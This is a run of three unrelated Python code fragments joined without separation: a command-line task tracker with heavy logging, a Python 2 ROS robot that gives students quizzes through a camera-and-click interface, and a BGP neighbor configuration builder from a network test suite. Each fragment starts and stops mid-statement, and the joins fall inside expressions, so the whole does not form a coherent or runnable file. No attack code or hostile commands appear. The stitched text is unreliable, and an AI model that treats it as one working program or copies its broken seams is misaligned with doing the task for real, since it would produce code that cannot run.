f"{diffh}h".rjust(4) + f"{diffmin}m".rjust(4) ) elif int(diffd) >= 1: output = ( f"{diffd}d".rjust(4 + 7) + f"{diffh}h".rjust(4) + f"{diffmin}m".rjust(4) ) elif int(diffh) >= 1: output = f"{diffh}h".rjust(4 + 11) + f"{diffmin}m".rjust(4) elif int(diffmin) >= 1 and int(diffmin) >= 30: output = f"{diffmin}m".rjust(4 + 15) else: output = f"LESS THAN {diffmin} MIN".rjust(19) self.log("[INFO] calculated time remaining for output") self.log(f"[INFO] {output}") self.log("[INFO] returned output") self.log("[FUNCTION] ends -> timediff()") return output def read_and_sort_tasks_file( self, ): # returns the current data sorted and separately in list self.log("[FUNCTION] starts -> read_and_sort_tasks_file()") with open(self.tasks_path, "r") as a: self.log("[INFO] opened 'tasks.txt' in read mode") x = a.readlines() self.log("[INFO] stored every raw line of 'tasks.txt' in a list called 'x'") self.log(x) y = [] while "\n" in x: x.remove("\n") self.log("[INFO] removed newline characters from 'x'") self.log(x) for item in x: item = item.replace("\n", "") y += [item] self.log("[INFO] removed newline characters from every item of 'x'") self.log(y) tasklist = self.sort_tasks(y) self.log("[INFO] returned sorted list = tasklist") self.log("[FUNCTION] ends -> read_and_sort_tasks_file()") return tasklist def sort_tasks(self, tlist): self.log("[FUNCTION] starts -> sort_tasks(tlist, tdir)") nums = [] self.log("[INFO] created empty list nums") temp_dict = {} self.log("[INFO] created empty dictionary temp_dict") for task in tlist: rawtime = task[:14] rawtime = rawtime.replace(":", "") nums += [int(rawtime)] temp_dict[tlist.index(task)] = int(rawtime) self.log(f"[INFO] nums = {nums}") self.log(f"[INFO] temp_dict = {temp_dict}") nums.sort() self.log(f"[INFO] sorted nums list = {nums}") for k, v in temp_dict.items(): nums[nums.index(v)] = tlist[k] self.log( "[INFO] replaced respective numbers with tasks of same index as nums' initial index" ) sorted_output = "\n".join(nums) with open(self.tasks_path, "w") as taskfile: taskfile.write(sorted_output) self.log("[INFO] sorted output written to tasks.txt") self.log(f"[INFO] returned nums = {nums}") self.log("[FUNCTION] ends -> sort_tasks()") return nums def status(self, monthsdict): self.log("[FUNCTION] starts -> status()") self.log("|||||||||||||||||||||||||||||||||||||||||||||||||||||||") print("\n~~~~~~~~ TASKS REMAINING ~~~~~~~~\n") task_list = self.read_and_sort_tasks_file() self.log("[INFO] stored returned 'y' as 'task_list'") outputs = [] self.log("[INFO] started iterating through 'task_list'") for taskline in task_list: taskparts = taskline.split("=") self.log(f"[INFO] working with task number {task_list.index(taskline) + 1}") rawtasktime = self.timediff(taskparts[0], monthsdict) self.log(f"[INFO] rawtasktime: {rawtasktime}") rawtaskinfo = taskparts[1] self.log(f"[INFO] rawtaskinfo: {rawtaskinfo}") taskoutput = [ f"({task_list.index(taskline) + 1}) {rawtasktime} >>> {rawtaskinfo.title()}" ] outputs += taskoutput self.log( "[INFO] stored each task details separately as (task number) (task time remaining) >>> (task name)" ) self.log(outputs) status_output = "\n".join(outputs) print(status_output + "\n") self.log("[INFO] all task details printed on output screen") self.log("|||||||||||||||||||||||||||||||||||||||||||||||||||||||") self.log("[FUNCTION] ends -> status()") def remove(self, num, monthsdict): self.log(f"[FUNCTION] starts -> remove({num})") last = self.read_and_sort_tasks_file() self.log("[INFO] stored returned 'y' as 'last'") self.log(f"[INFO] task {num} requested to be removed ") rem_index = int(num) - 1 rem_task = last[rem_index] last.remove(rem_task) self.log(f"[INFO] removed requested task [{rem_task}] from the list") self.log(last) new_output = "\n".join(last) with open(self.tasks_path, "w") as taskfile: self.log("[INFO] opened 'tasks.txt' in write mode") taskfile.write(new_output) self.log("[INFO] wrote new output to 'tasks.txt'") self.log(f"[FUNCTION] ends -> remove({num})") self.info_bar(f"removed task {num} from the list", monthsdict) def edit_task(self, num, monthsdict, monthnamesdict): self.log(f"[FUNCTION] starts -> edit_task({num})") last = self.read_and_sort_tasks_file() self.log("[INFO] stored returned 'y' as 'last'") task_ind = int(num) - 1 target_task = last[task_ind] self.log(f"[INFO] task number {num} requested for edit") ttask_time, ttask_name = target_task.split("=") self.log("[INFO] stored values of task to be edited as ttask_time and ttask_name") self.log(f"[INFO] original values: {ttask_time} and {ttask_name}") edit_task_help = f"\nWhat needs to be edited in task {num}? (Enter corresponding number)\n1. Date-Time\n2. Task Description\n3. Both\n4. Exit EDIT MODE\n" self.info_bar(f"edit mode for task {num}", monthsdict) print(edit_task_help) while True: try: edited = False exited = False self.log("[WAITING] FOR 'choice' INPUT") choice = int(input("> ")) self.log(f"[INFO] received 'choice': {choice}") if choice == 1: self.log("[INFO] user input 1 to edit date-time only") self.info_bar(f"task {num} edit: type 'cancel' to cancel", monthsdict) mn, hr, dt, mth, yr = self.new_task_time(monthsdict, monthnamesdict) if (mn, hr, dt, mth, yr) != (0, 0, 0, 0, 0): ttask_time = f"{yr}:{mth}:{dt}:{hr}:{mn}" self.log("[INFO] updated task details saved") edited = True else: self.info_bar(f"edit mode for task {num}", monthsdict) print(edit_task_help) elif choice == 2: self.log("[INFO] user input 2 to edit name only") self.info_bar(f"task {num} edit: type 'cancel' to cancel", monthsdict) ttask_name = self.new_task_name() if ttask_name != "cancel": self.log("[INFO] updated task details saved") edited = True else: self.info_bar(f"edit mode for task {num}", monthsdict) print(edit_task_help) elif choice == 3: self.log("[INFO] user input 3 to edit both task name and date-time") self.info_bar(f"task {num} edit: type 'cancel' to cancel", monthsdict) ttask_name = self.new_task_name() if ttask_name != "cancel": self.log("[INFO] updated task details saved") mn, hr, dt, mth,
2 elif self.agentEmotion == "happy": cv2.line(self.faceCanvas,(self.baseMouth_X1,self.baseMouth_YHigh),(self.baseMouth_X2,self.baseMouth_Y),self.mouthColor,mouthWidth) cv2.line(self.faceCanvas,(self.baseMouth_X2,self.baseMouth_Y),(self.baseMouth_X3,self.baseMouth_YHigh),self.mouthColor,mouthWidth) elif self.agentEmotion == "angry" or self.agentEmotion == "sad": cv2.line(self.faceCanvas,(self.baseMouth_X1,self.baseMouth_Y),(self.baseMouth_X2,self.baseMouth_YHigh),self.mouthColor,mouthWidth) cv2.line(self.faceCanvas,(self.baseMouth_X2,self.baseMouth_YHigh),(self.baseMouth_X3,self.baseMouth_Y),self.mouthColor,mouthWidth) else: cv2.line(self.faceCanvas,(self.baseMouth_X1,self.baseMouth_Y),(self.baseMouth_X2,self.baseMouth_Y),self.mouthColor,mouthWidth) cv2.line(self.faceCanvas,(self.baseMouth_X2,self.baseMouth_Y),(self.baseMouth_X3,self.baseMouth_Y),self.mouthColor,mouthWidth) #not face but using top left part of face canvas for this... self.faceCanvas[0:100, 10:110] = self.hhLogo cv2.putText(self.faceCanvas, "HPC QuizGiver", (10, 120), cv2.FONT_HERSHEY_PLAIN, 1, (255, 255, 255), 1) if (self.interactionState == 0): self.startScreen[self.y_offset:self.y_offset+600, 0:self.face_width] = self.faceCanvas elif (self.interactionState == 1): self.quizAvailableScreen[self.y_offset:self.y_offset+600, 0:self.face_width] = self.faceCanvas elif (self.interactionState == 2): self.quizScreen[self.y_offset:self.y_offset+600, 0:self.face_width] = self.faceCanvas elif(self.interactionState==3): self.quizAnswersScreen[self.y_offset:self.y_offset+600, 0:self.face_width] = self.faceCanvas def userClickedInterface(self, event, x, y, flags): NUMBER_OF_STATES= 4 if event == cv2.EVENT_LBUTTONDOWN: #print "clicked" #print x, y self.lastTimeUserDidSomething= datetime.now() if(x > 300 and x < 660 and y > 215 and y < 300): print "eye clicked" self.soundhandle.say(self.eyeClickedUtterances[self.eyeClickedUtteranceLast]) self.eyeClickedUtteranceLast= (self.eyeClickedUtteranceLast + 1) % len(self.eyeClickedUtterances) elif(x > 300 and x < 660 and y > 100 and y < 500): print "face clicked" self.soundhandle.say(self.faceClickedUtterances[self.faceClickedUtteranceLast]) self.faceClickedUtteranceLast= (self.faceClickedUtteranceLast + 1) % len(self.faceClickedUtterances) if (self.interactionState == 0): #print x, y if(x > self.button1Coordinates[0] and x < self.button1Coordinates[2] and y > self.button1Coordinates[1] and y < self.button1Coordinates[3] ): print "Logging in" #show quiz questions userName=self.userName weHaveAValidUser = self.checkIfUserInDatabase(userName) #this also sets user first name if weHaveAValidUser == False: print "Sorry, the agent can't recognize you, try again" cv2.rectangle(self.startScreen, (0, 860), (1024, 1080), (0, 0, 0), thickness=-1) self.userName = "" cv2.putText(self.startScreen, "Sorry, I can't recognize you, please try again", (50, 1000), cv2.FONT_HERSHEY_SIMPLEX, 1, (255, 255, 255), 2) else: print "Recognized user", self.userFirstName self.interactionState = 1 sayHelloString = "Hey " + self.userFirstName + "!" self.soundhandle.say(sayHelloString) #clear cv2.rectangle(self.quizAvailableScreen, (0, 860), (1024, 1080), (0, 0, 0), thickness=-1) cv2.rectangle(self.quizScreen, (0, 860), (1024, 1080), (0, 0, 0), thickness=-1) cv2.rectangle(self.quizAnswersScreen, (0, 860), (1024, 1080), (0, 0, 0), thickness=-1) #say hi cv2.putText(self.quizAvailableScreen, sayHelloString, (50, 1000), cv2.FONT_HERSHEY_SIMPLEX, 1, (255, 255, 255), 2) cv2.putText(self.quizScreen, sayHelloString, (50, 1000), cv2.FONT_HERSHEY_SIMPLEX, 1, (255, 255, 255), 2) cv2.putText(self.quizAnswersScreen, sayHelloString, (50, 1000), cv2.FONT_HERSHEY_SIMPLEX, 1, (255, 255, 255), 2) #get list of courses for this user; for each course, get list of quizzes print "Parsing quiz information for user" self.listOfNames=[] #clear lists self.quizStartDates=[] self.quizEndDates=[] self.quizAnswers=[] self.courseNames=[] today=date.today() quizIndex=0 for i in range(len(self.studentNames)): if(self.studentNames[i] == self.userFirstName): currentStudentsCourses = self.studentCourses[i] #print "Found this user with courses:", currentStudentsCourses for i in range(len(currentStudentsCourses)): #for each course name the student is taking index = -1 for j in range(len(self.namesOfCoursesWithQuizzes)): #find this course in our list of all courses, get index if(currentStudentsCourses[i] == self.namesOfCoursesWithQuizzes[j]): index = j if(index!=-1): #print "quiz names:", self.quizNamesPerCourse[index] #uncomment for debugging #print "quiz start dates:", self.quizStartDatesPerCourse[index] for j in range(len(self.quizNamesPerCourse[index])): #for each quiz associated with each course quizStartDate= datetime.strptime(self.quizStartDatesPerCourse[index][j], '%Y-%m-%d') quizEndDate= datetime.strptime(self.quizEndDatesPerCourse[index][j], '%Y-%m-%d') #print "quiz date:", self.quizStartDatesPerCourse[index][j], quizStartDate.date().isoformat() if (quizStartDate.date() < today) and (today < quizEndDate.date()): #print "today is greater than start date and less than end date" self.listOfNames.append(self.quizNamesPerCourse[index][j]) self.quizStartDates.append(self.quizStartDatesPerCourse[index][j]) self.quizEndDates.append(self.quizEndDatesPerCourse[index][j]) self.quizAnswers.append(self.quizAnswersPerCourse[index][j]) self.quizHints.append(self.quizHintsPerCourse[index][j]) self.courseNames.append(self.namesOfCoursesWithQuizzes[index]) quizIndex +=1 #print self.listOfNames, self.quizStartDates, self.quizAnswers, self.quizHints, self.courseNames #uncomment for debugging self.quizScreens_questions = [] self.quizScreens_answers = [] for aName in self.listOfNames: fileName = "/home/turtlebot/ros_ws/src/hpc/src/agent_data/quizzes/" + aName + "_q.png" #print fileName self.quizScreens_questions.append(cv2.imread(fileName)) fileName = "/home/turtlebot/ros_ws/src/hpc/src/agent_data/quizzes/" + aName + "_a.png" #print fileName self.quizScreens_answers.append(cv2.imread(fileName)) #display quizzes #for each quiz name, write it to screen in the appropriate place #for now keep it simple, only show a max of 10 quizzes print "Displaying quizzes" nameIndex = 0 numberOfTimesToIterate = min(len(self.listOfNames), 10) for j in range(numberOfTimesToIterate): buttonText = self.courseNames[j] + " " + self.listOfNames[j] cv2.putText(self.quizAvailableScreen, buttonText, (487*(nameIndex%2) + 50+ self.x_offset_quiz, 50 + self.quizYSpace + (self.quizButtonHeight*int(nameIndex/2))), cv2.FONT_HERSHEY_PLAIN, 1.8, (255, 255, 255), 2) cv2.rectangle(self.quizAvailableScreen, (self.x_offset_quiz + (((j+1)%2)*self.quiz_button_width), ((j/2)*self.quizButtonHeight) +self.quizYSpace), (self.x_offset_quiz+self.quiz_pane_width, (((j/2) + 1)*self.quizButtonHeight)+self.quizYSpace), (255, 255, 255), thickness=2) nameIndex+=1 self.userName= userName #also read in this person's history self.parseUserHistorySimple() elif(x > (self.button2Coordinates[0]) and x < (self.button2Coordinates[2]) and y > self.button2Coordinates[1] and y < self.button2Coordinates[3] ): print "Clicked clear button" self.userName = "" cv2.rectangle(self.startScreen, (0, 860), (1024, 1080), (0, 0, 0), thickness=-1) self.interactionState = 0 #if second state and user has pressed quiz, or cancel elif (self.interactionState == 1): #print "available quizzes" if(x > self.button2Coordinates[0] and x < self.button2Coordinates[2] and y > self.button2Coordinates[1] and y < self.button2Coordinates[3] ): print "Clicked back button" self.interactionState = 0 #print self.interactionState self.userName = "" cv2.rectangle(self.startScreen, (0, 860), (1024, 1080), (0, 0, 0), thickness=-1) #here maybe need to erase more stuff cv2.rectangle(self.quizAvailableScreen, (800, 0), (2000, 600), (0, 0, 0), thickness=-1) #this not good need to just clear quizzes self.processQuizButtonClick(x, y) #if quiz state and user has pressed answers, or cancel elif (self.interactionState == 2): if(x > self.button1Coordinates[0] and x < self.button1Coordinates[2] and y > self.button1Coordinates[1] and y < self.button1Coordinates[3] ): print "Showing answer" self.soundhandle.say("here are the answers!") #check each item in answer list for selected quiz; if the entered string is correct, indicate the answer is correct, else false answerCorrect=False for anAnswer in self.quizAnswers[self.selectedQuiz]: if anAnswer == self.answerSnippet: answerCorrect=True if answerCorrect==True: agentResponse= "Correct!" self.correctAnswers +=1.0 print "Correct" else: agentResponse= "Incorrect, good luck next time" print "Incorrect" self.numberOfAnsweredQuestions += 1.0 cv2.rectangle(self.quizAnswersScreen, (0, 860), (1024, 1080), (0, 0, 0), thickness=-1) #clear cv2.putText(self.quizAnswersScreen, agentResponse, (30, 930), cv2.FONT_HERSHEY_SIMPLEX, 2, (255, 255, 255), 4) self.endedQuiz= datetime.now() self.lastTimeAgentDidSomething= self.endedQuiz #refresh so agent doesn't immediately start talking timeTakenToAnswerQuestion = self.endedQuiz - self.startedQuiz duration_in_s = timeTakenToAnswerQuestion.total_seconds() print "Time Taken To Answer Question %.2fs" % duration_in_s self.answerCorrectness=answerCorrect #open student file, add new entry for this quiz studentFileName = "agent_data/students/" + self.userName + ".txt" startTimeString = self.startedQuiz.strftime("%d/%m/%Y, %H:%M:%S") lineToWrite = startTimeString + "; " + self.courseNames[self.selectedQuiz] + "; " + self.listOfNames[self.selectedQuiz] + "; " + self.answerSnippet + "; {};".format(answerCorrect) + " {}; ".format(duration_in_s) + str(self.quizAnswers[self.selectedQuiz]) + "\n" f=open(studentFileName, 'a') f.write(lineToWrite) f.close() self.answerSnippet="" #need to erase the old answer from the old screen as well cv2.rectangle(self.quizAvailableScreen, (0, 860), (1024, 1080), (0, 0, 0), thickness=-1) cv2.rectangle(self.quizScreen, (0, 860), (1024, 1080), (0, 0, 0), thickness=-1) #show quiz answers myImage= self.quizScreens_answers[self.selectedQuiz] resizedImage= cv2.resize(myImage, (self.face_width, 600)) self.quizAnswersScreen[self.y_offset:self.y_offset +600, self.x_offset_quiz:self.x_offset_quiz+self.face_width] = resizedImage self.interactionState = 3 today=date.today() #this stores all basic interactions by day (all users); details for each user are stored separately outputFileName= '/home/turtlebot/ros_ws/src/hpc/src/agent_data/logfiles/logfile-%s.txt' % (today.isoformat()) keywordFile=open(outputFileName, 'a') lineToWrite= "%s %s %d %s %s %s\n" % (self.userName, self.userFirstName, self.selectedQuiz, self.selectedQuizName, today.isoformat(), datetime.now().time()) keywordFile.write(lineToWrite) keywordFile.close() #self.SHOULD_GRAB_A_PHOTO = True #This can be uncommented if it is okay to take photos (if there is consent/etc) elif(x > self.button2Coordinates[0] and x < self.button2Coordinates[2] and y > self.button2Coordinates[1] and y < self.button2Coordinates[3] ): print "Clicked back button" self.interactionState = 1 #if quiz answer state and user has pressed cancel elif (self.interactionState == 3): if(x > self.button2Coordinates[0] and x < self.button2Coordinates[2] and y > self.button2Coordinates[1] and y < self.button2Coordinates[3] ): print "Clicked back button" self.interactionState = 1 self.showImageBasedOnState() def userClickedInterfaceWrapper(event, x, y, flags, param): self= param self.userClickedInterface(event, x, y, flags) def main(): rospy.init_node('hpcagent', anonymous=True) my_agent = virtual_agent_interface() cv2.namedWindow("agent_screen", cv2.WND_PROP_FULLSCREEN) cv2.setWindowProperty("agent_screen", cv2.WND_PROP_FULLSCREEN, 1) cv2.setMouseCallback("agent_screen", userClickedInterfaceWrapper, my_agent) vs = cv2.VideoCapture(0) time.sleep(2.0) my_agent.showImageBasedOnState() cv2.waitKey(100) WE_ARE_USING_A_CAMERA =True SHOW_FACE_DETECTION=True SHOW_TIREDNESS = False AUTO_LOGOUT = True lastKeyPress = -1 while True: my_agent.r.sleep() cv2.imshow("agent_screen", my_agent.current_screen_image) #check if the computer has been inactive for a long time, then go back to start screen currentTime = datetime.now() if(AUTO_LOGOUT and currentTime > (my_agent.lastTimeUserDidSomething + timedelta(seconds=my_agent.numberOfSecondsUntilAutoLogout))): print "Auto logout due to user inactivity" my_agent.userName = "" my_agent.answerSnippet="" cv2.rectangle(my_agent.startScreen, (0, 860), (1024, 1080), (0, 0, 0), thickness=-1) if(my_agent.interactionState != 0): cv2.putText(my_agent.startScreen, "Logged out of previous session automatically", (50, 1000), cv2.FONT_HERSHEY_SIMPLEX, 1, (255, 255, 255), 2) cv2.rectangle(my_agent.quizAvailableScreen, (800, 0), (2000, 600), (0, 0, 0), thickness=-1) cv2.rectangle(my_agent.startScreen, (0, 550), (1024, 590), (0, 0, 0), thickness=-1) my_agent.numberOfAnsweredQuestions = 0.0 #clear the score as well my_agent.successRate = 0.0 my_agent.correctAnswers = 0.0 my_agent.interactionState = 0 print "auto logged out!", my_agent.interactionState my_agent.lastTimeUserDidSomething = currentTime my_agent.showImageBasedOnState() ''' #this is not currently used, but can be adapted to make the agent fall asleep if no one is interacting with it if(SHOW_TIREDNESS and currentTime > (my_agent.lastTimeUserDidSomething + timedelta(seconds=5))): print "user inactive" #my_agent.startScreen[my_agent.y_offset:my_agent.y_offset+600, 0:my_agent.face_width] = my_agent.asleepFace #draw sleeping face my_agent.asleepState = True ''' #if quiz question screen, and enough secs pass random chance for robot to say something if(my_agent.hintGiven == False and my_agent.interactionState == 2 and currentTime > (my_agent.lastTimeAgentDidSomething + timedelta(seconds=my_agent.numberOfSecondsUntilHint))): print "Agent gave hint" my_agent.soundhandle.say(my_agent.quizHints[my_agent.selectedQuiz]) my_agent.lastTimeAgentDidSomething = currentTime my_agent.hintGiven = True #if quiz answer already shown, also robot can say some stuff: "are you waiting for something more?" "do you see why this is the answer?" "good question eh?", etc, avoiding repetition if(my_agent.interactionState == 3 and currentTime > (my_agent.lastTimeAgentDidSomething + timedelta(seconds=my_agent.numberOfSecondsUntilProactiveSpeech))): print "Agent proactively commented after quiz", my_agent.interactionState my_agent.soundhandle.say(my_agent.proactiveUtterancesAfterQuiz[my_agent.proactiveUtterancesAfterQuizLast]) my_agent.proactiveUtterancesAfterQuizLast= (my_agent.proactiveUtterancesAfterQuizLast + 1) % len(my_agent.proactiveUtterancesAfterQuiz) my_agent.lastTimeAgentDidSomething = currentTime if (WE_ARE_USING_A_CAMERA and my_agent.asleepState == False): #check camera, process ret, frame = vs.read() if frame is None: break if(my_agent.SHOULD_GRAB_A_PHOTO): today=date.today() imageFileName = "/home/turtlebot/ros_ws/src/hpc/src/agent_data/photos/%s-%d-%s.jpg" % (my_agent.userName, my_agent.selectedQuiz, today.isoformat()) cv2.imwrite(imageFileName, frame) my_agent.SHOULD_GRAB_A_PHOTO = False faceFound = 0 frame = cv2.resize(frame, (my_agent.face_width, 600)) #960, 600 frame = cv2.flip(frame, 1) gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY) faces = my_agent.face_cascade.detectMultiScale(gray, 1.3, 5) for (x,y,w,h) in faces: cv2.rectangle(frame,(x,y),(x+w,y+h),(255,0,0),2) cv2.line(frame,(x+(w/2),y+(h/2)),(480,300),(255,0, 0),5) #middle of 960, 600 if faceFound == 0: faceFound = 1 gazeVecX = ((480. - float(x+(w/2.)) )/ 480.)*70 gazeVecY = ((300. - float(y+(h/2.)) )/ 300.)*50 print gazeVecX, gazeVecY, (int(gazeVecX)+380), (int(gazeVecY)+250) my_agent.lastGazeVec_X = int(gazeVecX) my_agent.lastGazeVec_Y = int(gazeVecY) if(SHOW_FACE_DETECTION): frame = cv2.resize(frame, (600, 480)) xoff = 1300 yoff = 600 my_agent.startScreen[(yoff+my_agent.y_offset):(yoff+my_agent.y_offset+480), xoff:(xoff+600)] = frame #order: y, x else: #if we are not using a camera, draw default eyes my_agent.lastGazeVec_X = 0 my_agent.lastGazeVec_Y = 0 my_agent.drawSelf() my_agent.drawScores() originalKeyPress = cv2.waitKey(10) #lets us check for special characters key= originalKeyPress & 0xFF #convenience, to check for simple characters if(originalKeyPress==1114083): #alternative way to end program if(my_agent.userName == "break"): break elif(originalKeyPress==1113938): #up arrow: this is our special key for debugging/to control+test interface #print "pressed up arrow" if(lastKeyPress == ord("q")): print "Pressed quit" #recommended way to end program print '' break elif(lastKeyPress == ord("s")):
config_cmd == '': if peergroup != '': my_cmd += 'neighbor {} peer-group\n'.format(peergroup) if conf_peers != '': my_cmd += '{} bgp confederation peers {}\n'.format(config_cmd, conf_peers) if conf_identf != '': my_cmd += '{} bgp confederation identifier {}\n'.format(config_cmd, conf_identf) for type1 in config_type_list: if type1 == 'neighbor': my_cmd += '{} neighbor {} remote-as {}\n'.format(config_cmd, neighbor, remote_as) elif type1 == 'shutdown': my_cmd += '{} neighbor {} shutdown\n'.format(config_cmd, neighbor) elif type1 == 'failover': my_cmd += '{} bgp fast-external-failover\n'.format(config_cmd) elif type1 == 'router_id': st.log("Configuring the router-id on the device") elif type1 == 'fast_external_failover': st.log("Configuring the fast_external_failover") my_cmd += '{} bgp fast-external-failover\n'.format(config_cmd) elif type1 == 'bgp_bestpath_selection': st.log("Configuring bgp default bestpath selection") my_cmd += '{} bgp bestpath {}\n'.format(config_cmd,bgp_bestpath_selection) elif type1 == 'activate': my_cmd += 'address-family {} unicast\n'.format(addr_family) my_cmd += '{} neighbor {} activate\n'.format(config_cmd, neighbor) elif type1 == 'nexthop_self': my_cmd += 'address-family {} unicast\n'.format(addr_family) my_cmd += '{} neighbor {} next-hop-self\n'.format(config_cmd, neighbor) elif type1 == 'pswd': my_cmd += '{} neighbor {} password {}\n'.format(config_cmd, neighbor, password) elif type1 == 'update_src' or type1 == 'update_src_intf': if update_src != None: my_cmd += '{} neighbor {} update-source {}\n'.format(config_cmd, neighbor, update_src) elif update_src_intf != None: my_cmd += '{} neighbor {} update-source {}\n'.format(config_cmd, neighbor, update_src_intf) elif type1 == 'interface': my_cmd += '{} neighbor {} interface {}\n'.format(config_cmd, neighbor, interface) elif type1 == 'connect': my_cmd += '{} neighbor {} timers connect {}\n'.format(config_cmd, neighbor, connect) elif type1 == 'ebgp_mhop': my_cmd += '{} neighbor {} ebgp-multihop {}\n'.format(config_cmd, neighbor, ebgp_mhop) elif type1 == 'peergroup': my_cmd += '{} neighbor {} remote-as {}\n'.format(config_cmd, peergroup, remote_as) if config_cmd == '': if interface: my_cmd += 'neighbor {} interface peer-group {}\n'.format(neighbor, peergroup) else: my_cmd += 'neighbor {} peer-group {}\n'.format(neighbor, peergroup) if config_cmd == 'no': my_cmd += '{} neighbor {} peer-group\n'.format(config_cmd, peergroup) elif type1 == 'bfd': if peergroup: my_cmd += '{} neighbor {} bfd\n'.format(config_cmd, peergroup) elif interface != '' and interface != None: my_cmd += '{} neighbor {} bfd\n'.format(config_cmd, interface) else: my_cmd += '{} neighbor {} bfd\n'.format(config_cmd, neighbor) elif type1 == 'max_path_ibgp': my_cmd += 'address-family {} unicast\n'.format(addr_family) my_cmd += '{} maximum-paths ibgp {}\n'.format(config_cmd, max_path_ibgp) my_cmd += 'exit\n' elif type1 == 'max_path_ebgp': my_cmd += 'address-family {} unicast\n'.format(addr_family) my_cmd += '{} maximum-paths {}\n'.format(config_cmd, max_path_ebgp) my_cmd += 'exit\n' elif type1 == 'redist': my_cmd += 'address-family {} unicast\n'.format(addr_family) my_cmd += '{} redistribute {}\n'.format(config_cmd, redistribute) my_cmd += 'exit\n' elif type1 == 'network': my_cmd += 'address-family {} unicast\n'.format(addr_family) my_cmd += '{} network {}\n'.format(config_cmd, network) my_cmd += 'exit\n' elif type1 == 'import-check': my_cmd += '{} bgp network import-check\n'.format(config_cmd) elif type1 == 'import_vrf': my_cmd += 'address-family {} unicast\n'.format(addr_family) my_cmd += '{} import vrf {} \n'.format(config_cmd, import_vrf_name) my_cmd += 'exit\n' elif type1 == 'routeMap': my_cmd += 'address-family {} unicast\n'.format(addr_family) my_cmd += '{} neighbor {} route-map {} {}\n'.format(config_cmd, neighbor, routeMap, diRection) my_cmd += 'exit\n' elif type1 == 'distribute_list': my_cmd += 'address-family {} unicast\n'.format(addr_family) my_cmd += '{} neighbor {} distribute-list {} {}\n'.format(config_cmd, neighbor, distribute_list, diRection) my_cmd += 'exit\n' elif type1 == 'filter_list': my_cmd += 'address-family {} unicast\n'.format(addr_family) my_cmd += '{} neighbor {} filter-list {} {}\n'.format(config_cmd, neighbor, filter_list, diRection) my_cmd += 'exit\n' elif type1 == 'prefix_list': my_cmd += 'address-family {} unicast\n'.format(addr_family) my_cmd += '{} neighbor {} prefix-list {} {}\n'.format(config_cmd, neighbor, prefix_list, diRection) my_cmd += 'exit\n' elif type1 == 'default_originate': my_cmd += 'address-family {} unicast\n'.format(addr_family) if 'routeMap' in kwargs: my_cmd += '{} neighbor {} default-originate route-map {}\n'.format(config_cmd, neighbor, routeMap) else: my_cmd += '{} neighbor {} default-originate\n'.format(config_cmd, neighbor) my_cmd += 'exit\n' elif type1 == 'removePrivateAs': my_cmd += 'address-family {} unicast\n'.format(addr_family) my_cmd += '{} neighbor {} remove-private-AS\n'.format(config_cmd, neighbor) my_cmd += 'exit\n' elif type1 == 'multipath-relax': my_cmd += '{} bgp bestpath as-path multipath-relax \n'.format(config_cmd) elif type1 == 'remote-as': my_cmd += '{} neighbor {} interface remote-as {}\n'.format(config_cmd,interface,remote_as) elif type1 == 'weight': my_cmd += 'address-family {} unicast\n'.format(addr_family) my_cmd += '{} neighbor {} weight {}\n'.format(config_cmd, neighbor, weight) elif type1 == 'removeBGP': st.log("Removing the bgp config from the device") else: st.log('Invalid BGP config parameter: {}'.format(type1)) output = st.config(dut, my_cmd, type=cli_type) if "% Configure the peer-group first" in output: st.error(output) return False if "% Specify remote-as or peer-group commands first" in output: st.error(output) return False if vrf_name != 'default' and removeBGP == 'yes': my_cmd = '{} router bgp {} vrf {}'.format(config_cmd, local_as, vrf_name) st.config(dut, my_cmd, type=cli_type) elif vrf_name == 'default' and removeBGP == 'yes': if 'local_as' in kwargs: my_cmd = '{} router bgp {}'.format(config_cmd,local_as) else: my_cmd = '{} router bgp'.format(config_cmd) st.config(dut, my_cmd, type=cli_type) elif cli_type == "klish": commands = list() neigh_name = get_interface_number_from_name(neighbor) if interface: intf_name = get_interface_number_from_name(interface) shutdown = kwargs.get("shutdown", None) if "shutdown" in config_type_list else None activate = kwargs.get("activate", None) if "activate" in config_type_list else None nexthop_self = kwargs.get("nexthop_self", True) if "nexthop_self" in config_type_list else None pswd = True if "pswd" in config_type_list else False update_src = kwargs.get("update_src", "") if "update_src" in config_type_list else "" update_src_intf = get_interface_number_from_name(update_src_intf) bfd = True if "bfd" in config_type_list else False route_map = True if "routeMap" in config_type_list else False default_originate = True if "default_originate" in config_type_list else False removePrivateAs = True if "removePrivateAs" in config_type_list else False no_neighbor = "no" if kwargs.get("config") == "no" else "" sub_list = ["neighbor", "routeMap", "shutdown", "activate", "nexthop_self", "pswd", "update_src", "bfd", "default_originate", "removePrivateAs", "no_neigh","remote-as","filter_list", "prefix_list", "distribute_list", "weight", "keepalive", "holdtime", "ebgp_mhop","peergroup","update_src_intf","connect"] if 'local_as' in kwargs and removeBGP != 'yes': if vrf_name != 'default': my_cmd = 'router bgp {} vrf {}'.format(local_as, vrf_name) else: my_cmd = 'router bgp {}'.format(local_as) commands.append(my_cmd) if router_id: my_cmd = '{} router-id {}'.format(config_cmd, router_id) commands.append(my_cmd) if peergroup: my_cmd = '{} peer-group {}'.format(config_cmd, peergroup) commands.append(my_cmd) commands.append("exit") # if conf_peers: # my_cmd += '{} bgp confederation peers {}\n'.format(config_cmd, conf_peers) # if conf_identf != '': # my_cmd += '{} bgp confederation identifier {}\n'.format(config_cmd, conf_identf) config_default_activate = True config_remote_as = True for type1 in config_type_list: if type1 in sub_list: if neigh_name and not peergroup: if isinstance(neigh_name, dict): my_cmd = "neighbor interface {} {}".format(neigh_name["type"],neigh_name["number"]) else: my_cmd = "neighbor {}".format(neigh_name) commands.append(my_cmd) if peergroup: my_cmd_peer = '{} peer-group {}'.format(config_cmd, peergroup) if 'peergroup' in config_type_list: if isinstance(neigh_name, dict): my_cmd = "{} neighbor interface {} {}".format(no_neighbor, neigh_name["type"], neigh_name["number"]) else: my_cmd = "{} neighbor {}".format(no_neighbor, neigh_name) if neigh_name: commands.append(my_cmd) commands.append(my_cmd_peer) commands.append('exit') neigh_name = None activate = True commands.append(my_cmd_peer) if config_remote_as and remote_as: if interface and not peergroup: my_cmd = "neighbor interface {} {}".format(intf_name['type'], intf_name['number']) commands.append(my_cmd) my_cmd = '{} remote-as {}'.format(config_cmd, remote_as) commands.append(my_cmd) config_remote_as = False if config_default_activate and (activate or neigh_name): # show ip bgp summary will list # v4 neighbor only if activate is done for v4 address family # v6 neighbor only if activate is done for v4 address family # both v4 and v6 neighbor only if activate is done for both address families # There is a defect for this issue - 20468 if config_cmd == "": my_cmd = 